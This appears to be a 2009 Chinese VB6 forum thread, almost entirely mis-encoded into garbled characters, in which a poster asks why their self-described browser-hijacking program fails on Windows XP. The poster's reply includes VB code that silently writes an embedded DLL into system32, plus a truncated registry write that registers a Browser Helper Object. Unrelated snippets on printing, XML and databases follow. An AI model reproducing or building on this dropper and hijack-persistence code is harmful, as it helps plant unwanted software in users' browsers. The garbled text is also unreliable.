Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

vb³ÌÐòÔÚXPϵͳÏÂÎÞ·¨Ö´ÐУ¿

ÎÒÓÃVBдÁËÒ»¸ö½Ù³Öä¯ÀÀÆ÷µÄÓ¦Óᢿª·¢»·¾³£¨ windows2003 + VB6.0 £©µ«ÔÚXPÏÂÎÞ·¨Õý³£Ö´ÐУ¿

ÍøÉϲé×ÊÁ϶¼ËµÐèÒªÌáȨ£¬¿ÉÎÒͨ¹ýAdjustTokenPrivileges½øÐÐDEBUGÌáȨ֮ºó£¬ÔÚXPÏÂÈÔÈ»ÎÞ·¨Ö´ÐУ¬Çë¸ßÊÖ°ïæ½â¾öһϣ¡


Îҵģѣѣº544588699¡¢»¶Ó­¼ÓÈëÎÒ£ÑÌÖÂÛ¡«¡«¡«

Ò»¹²Ö»ÓÐ6·ÖÁË£¬±íʾǷÒâ¡«¡«¡«
ÓпÉÄÜÊÇÔÚ 2003 ÖеÄijЩ API º¯Êý£¬Óë XP ÖеIJ»Ïàͬ°É£¡

¿´¿´ÄãµÄ³ÌÐòÀïÊDz»ÊÇÓõ½ÁËʲôDLL,OCXÎļþ£¬ÔÚXPÏÂÖØÐÂ×¢²áһϿ´¿´£¡




End_rbody_60475008//-->
¸Ã»Ø¸´ÓÚ2009-10-19 10:46:36±»¹ÜÀíԱɾ³ý



¶ÔÎÒÓÐÓÃ[0]
¶ª¸ö°åש[0]
ÒýÓÃ
¾Ù±¨
¹ÜÀí
TOP








victory2006
(Î÷ÄÏ)

µÈ¡¡¼¶£º



#4Â¥ µÃ·Ö£º0»Ø¸´ÓÚ£º2009-10-17 09:07:15


ÓÐÒ»¸öDLL¡¢ÎÒͨ¹ýÒÔÏ·½·¨´ÓRESÖÐÊͷŵ½system32ÏÂÁË

Private Sub shifang()
On Error Resume Next
Dim strSysPath As String
Dim strDesPath As String
Dim binBuffer() As Byte
strDesPath = "c:\windows\system32\" & "project.dll"
If Dir(strDesPath) <> "" Then
Exit Sub
End If
binBuffer = LoadResData(101, "CUSTOM")
Open strDesPath For Binary As #1
Put #1, , binBuffer
Close #1
End Sub

»¹Óз¢ÏֺܶàʱºòÐÞ¸Ä×¢²á±í²»³É¹¦¡¢²»ÔõôÎȶ¨¡«

±ÈÈ磺
Dim wsh As New WshShell
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper O


Ïà¹ØÎÊ´ð£º

vb´òÓ¡ÎÊÌâ


Printer.ScaleMode = 6
6±íʾºÁÃ×
Printer.PaperSize = vbPRPSA4

'³õÊ¼×ø±ê
x = 1
y = 4


'×î´óµÄÏß¿ð
Printer.DrawStyle = 0
Printer.Line (x, y)-(x + 132.5, y) ......

vbÓëxmlÎÊÌâ

vbÖÐÔõôͨ¹ýxmlÀ´½âÎöÊý¾Ý¿âÖеÄ×Ö¶ÎÖµ¡£
û°ì·¨ÓÃXML½âÎöÊý¾Ý¿âµÄ×Ö¶ÎÖµ£¬³ý·ÇÊý¾Ý¿âÖб£´æµÄÊÇXML¸ñʽµÄ×Ö·û´®Îĵµ¡£

XMLÓÃÀ´Õ¹Ê¾²ã´ÎµÄÊý¾Ý¡£
Êý¾Ý¿âÒ»°ãÊǶþάÊý¾Ý¡£

Êý¾Ý¿âÖб£´æµÄÊÇXML×Ö·û´®¸ñʽ£ ......

VBÐÞ¸Ä×¢²á±í

ÓÃVBÔõôֻÕë¶Ôwindows×Ô´øµÄÎļþµÄÓÒ¼üÌí¼Ó²Ëµ¥ È磨.txt .doc)
Õâ¸öÊÇÖ»Õë¶ÔÒÔÕâÁ½¸öΪÀ©Õ¹ÃûµÄÎļþ²Ù×÷
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\txtfile\shell\[Ëæ±ãÆðÃû]\command]
@= ......

vb²åÈëÊý¾Ý¿âÖØ¸´ÖµÎÊÌâ

ÔÚvbÖÐÔõôÅжϣ¬²åÈëµ½Êý¾Ý¿âÖеÄÖµÊÇÖØ¸´µÄ£¬±¾È˲ŸսӴ¥VBÓïÑÔ£¬ÉõÊÇÓÐºÃ¶àµØ·½»¹²»¶®£¬»¹Çë¸÷λ´óÏÀÃǸø³ö´úÂ룬ллÁËѽ£¡£¡£¡
²åÈë֮ǰselectһϰ¢¡£
»òÕßдһ¸ö×éºÏSQL²åÈëÓï¾ä£¬ÀýÈç
IF not Exist(
& ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ